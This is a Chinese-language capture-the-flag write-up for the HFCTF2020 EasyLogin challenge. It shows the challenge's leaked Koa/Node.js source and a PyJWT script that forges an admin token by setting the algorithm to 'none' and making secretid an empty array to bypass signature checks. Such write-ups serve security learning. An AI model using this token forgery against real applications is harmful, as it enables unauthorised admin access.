知识点:nodejs,jwt
解题过程
打开题目是个登录窗口,需要注册账号,然后登录,登录之后,有个获取flag的按钮,但是不能够获取flag,因为permission denied。
可以发现提示/static/js/app.js
/**
* 或许该用 koa-static 来处理静态文件
* 路径该怎么配置?不管了先填个根目录XD
*/
function login() {
const username = $("#username").val();
const password = $("#password").val();
const token = sessionStorage.getItem("token");
$.post("/api/login", {
username, password, authorization:token})
.done(function(data) {
const {
status} = data;
if(status) {
document.location = "/home";
}
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}
function register() {
const username = $("#username").val();
const password = $("#password").val();
$.post("/api/register", {
username, password})
.done(function(data) {
const {
token } = data;
sessionStorage.setItem('token', token);
document.location = "/login";
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}
function logout() {
$.get('/api/logout').done(function(data) {
const {
status} = data;
if(status) {
document.location = '/login';
}
});
}
function getflag() {
$.get('/api/flag').done(function(data) {
const {
flag} = data;
$("#username").val(flag);
}).fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}
提示了是Koa框架,看一下目录结构,原文地址:koa2 框架结构
根据这个图,去读取/controllers/api.js文件(至于为啥是api.js而不是app.js我还没想通)
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')
const APIError = require('../rest').APIError;
module.exports = {
'POST /api/register': async (ctx, next) => {
const {
username, password} = ctx.request.body;
if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}
if(global.secrets.length > 100000) {
global.secrets = [];
}
const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)
const token = jwt.sign({
secretid, username, password}, secret, {
algorithm: 'HS256'});
ctx.rest({
token: token
});
await next();
},
'POST /api/login': async (ctx, next) => {
const {
username, password} = ctx.request.body;
if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
console.log(sid)
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {
algorithm: 'HS256'});
const status = username === user.username && password === user.password;
if(status) {
ctx.session.username = username;
}
ctx.rest({
status
});
await next();
},
'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}
const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});
await next();
},
'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};
验证方式采用jwt,然后验证的时候,username==admin,才能够通过验证v
可以在https://jwt.io/中解码jwt
需要将username设置为admin,同时a1g设置为none,相当于没有加密
至于从新生成jwt,可以在linux环境下,使用PyJWT模块
import jwt
token = jwt.encode(
{
"secretid": [],
"username": "admin",
"password": "222",
"iat": 1632069679
},
algorithm="none",key=""
).decode(encoding='utf-8')
print(token)
将生成的jwt替换,继续登录,即admin
访问/api/flag,获取flag
参考链接
- https://jwt.io/
- [HFCTF2020]EasyLogin